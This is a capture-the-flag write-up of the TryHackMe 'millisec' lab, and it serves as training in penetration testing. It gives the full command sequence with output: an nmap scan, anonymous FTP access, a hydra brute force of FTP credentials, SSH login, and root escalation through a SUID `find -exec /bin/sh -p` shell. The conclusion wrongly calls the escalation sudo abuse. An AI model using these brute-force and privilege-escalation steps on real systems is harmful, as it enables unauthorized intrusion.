

***TryHackMe millisec.1.0. lab
Report***

April 27, 2025

*Prepared by:Gurbanova Fatima
Prepared for: MilliSec.Org*

Table of Contents

Overview of the room.....	1
Scanning Target IP.....	1
Nmap Scan	1
Logging In FTP Port	2
Brute Forcing	3
SSH Access to the Target Machine	3
Privilege Escalation	4
Conclusion and Final Recommendations	4

Overview of the room

Link of the room- <https://tryhackme.com/room/millisec10>

There is given Target IP Adress and 2 tasks.

The screenshot shows the 'Target Machine Information' section of the TryHackMe room interface. The title is 'millisec.10'. The 'Target IP Address' is highlighted with a red box and contains the value '10.10.227.148'. The 'Expires' time is '1h 47min 50s'. There are buttons for '?', 'Add 1 hour', and 'Terminate'. Below this, the 'Task 1' section is visible, which includes fields for 'user.txt' and 'root.txt' with their respective answer formats and submit buttons.

Nmap Scan

Before we begin exploring the target machine, it's important to gather information about the open ports and services running on the target IP. This will help us identify potential entry points and vulnerabilities.

To begin this reconnaissance phase, we use the **Nmap tool** (Network Mapper). Nmap is one of the most widely used tools for network discovery and security auditing. It is particularly effective for identifying open ports, determining which services are running on those ports, and providing insight into the version of services, which may help us detect vulnerabilities.

`Nmap <TARGET IP> -p- --open -A -T4`

```
(root㉿kali)-[~]
# nmap 10.10.227.148 -p- --open -A -T4
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-27 15:34 EDT
Nmap scan report for 10.10.227.148
Host is up (0.095s latency).

Not shown: 64575 closed tcp ports (reset), 958 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.5
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 65534    65534          89 Apr 21 18:04 millisec_user.txt
| ftp-syst:
| STAT:
| FTP server status:
|     Connected to ::ffff:10.9.1.186
```

Logging In FTP Port

After identifying that the FTP port is open, we attempt to connect to the FTP service. FTP (File Transfer Protocol) is commonly used for transferring files between a client and a server. However, FTP services are often targeted because they can be misconfigured, use weak or default credentials, or have security gaps that make them easy to exploit.

These weaknesses give attackers the chance to gain unauthorized access, making it crucial to test the FTP service for potential vulnerabilities. Our goal is to try connecting to the service and explore any possible login issues or misconfigurations that might allow us to gain access.

```
ftp <TARGET IP>
```

After connecting to the FTP server, we must detect directories/files. The only file is “millisec_user.txt”. With “get <file_name>” command is used to download to local machine.

```
[root@kali] ~
# ftp 10.10.227.148
Connected to 10.10.227.148.
220 (vsFTPd 3.0.5)
Name (10.10.227.148:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||65337|)
150 Here comes the directory listing.
-rw-r--r--    1 65534      65534          89 Apr 21 18:04 millisec_user.txt
226 Directory send OK.
ftp> get millisec_user.txt
local: millisec_user.txt remote: millisec_user.txt
229 Entering Extended Passive Mode (|||42549|)
150 Opening BINARY mode data connection for millisec_user.txt (89 bytes).
100% |*****                                                 *
226 Transfer complete.
89 bytes received in 00:00 (0.81 KiB/s)
```

In millisec_user.txt file there is given sentence: “Həqiqət və aldatma arasındakı sərhəd bəzən yalnız bir ad qədər incə olur...”

Translation: The line between truth and deception is sometimes as thin as a name...
It means, username is millisec.

```
[root@kali] ~
# cat millisec_user.txt
Həqiqət və aldatma arasındakı sərhəd bəzən yalnız bir ad qədər incə olur ...

[root@kali] ~
```

Brute Forcing

Username is known, so password can be found with **hydra** tool.

```
hydra -l millisec -P /usr/share/wordlists/rockyou.txt ftp://<TARGET IP>
```

```
[root@kali) ~]# hydra -l millisec -P /usr/share/wordlists/rockyou.txt ftp://10.10.227.148
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or
these *** ignore laws and ethics anyway.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-27 15:59:00
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://10.10.227.148:21/
[STATUS] 240.00 tries/min, 240 tries in 00:01h, 14344159 to do in 996:08h, 16 active
[21][ftp] host: 10.10.227.148 login: millisec password: [REDACTED]
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-27 16:01:06
```

SSH Access to the Target Machine

Password and username are known. So we can access the Target System via SSH

```
ssh millisec@<TARGET IP> -p <PORT>
```

```
[root@kali) ~]# ssh millisec@10.10.227.148 -p 2555
The authenticity of host '[10.10.227.148]:2555 ([10.10.227.148]:2555)' can't be established.
ED25519 key fingerprint is SHA256:/en6cI3gsHt7Xss0jNA0+hefQwAbGG1rhqkMtl0pvss.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.227.148]:2555' (ED25519) to the list of known hosts.
millisec@10.10.227.148's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-214-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro
```

Now directories and files must be detected. “millisec” user can read “.user.txt”

```
Last login: Mon Apr 21 20:06:27 2025 from 192.168.1.19
millisec@millisec:~$ ls -la
total 40
drwxr-xr-x 5 millisec millisec 4096 Apr 21 19:28 .
drwxr-xr-x 3 root      root      4096 Apr 21 16:42 ..
-rw----- 1 millisec millisec  290 Apr 21 20:08 .bash_history
-rw-r--r-- 1 millisec millisec  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 millisec millisec 3771 Feb 25  2020 .bashrc
drwx----- 2 millisec millisec 4096 Apr 21 16:50 .cache
drwxrwxr-x 3 millisec millisec 4096 Apr 21 18:32 .local
-rw-r--r-- 1 millisec millisec  807 Feb 25  2020 .profile
drwx----- 2 millisec millisec 4096 Apr 21 16:43 .ssh
-rw-r--r-- 1 millisec millisec     0 Apr 21 17:37 .sudo_as_admin_successful
-rw----- 1 millisec millisec   39 Apr 21 18:36 .user.txt
millisec@millisec:~$ cat .user.txt
flag [REDACTED]
```

Privilege Escalation

To gain root access, we can search for files with the SUID permission set.

```
find / -type f -perm -4000 2>/dev/null
```

```
millisec@millisec:~$ find / -type f -perm -4000 2>/dev/null
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/find
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/su
/usr/bin/mount
/usr/bin/chsh
/usr/lib/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh_keysign
```

While exploring the system, I found that the find binary located at /usr/bin/find had the SUID bit set. This means it runs with root privileges, which can be dangerous if misused. Since find allows us to execute commands using the -exec option, I used it to run a shell as root.

```
/usr/bin/find . -exec /bin/sh -p \; -quit
```

After becoming root, we can search for root.txt from /root directory.

```
# whoami
root
# cd /root
# ls
root.txt  snap
# cat root.txt
flag{[REDACTED]
# █
```

Conclusion

In this challenge, we scanned the target, found an open FTP service, and used brute force to get valid credentials. Then we accessed the system via SSH. After that, we escalated our privileges by abusing sudo permissions on the find binary, which gave us root access.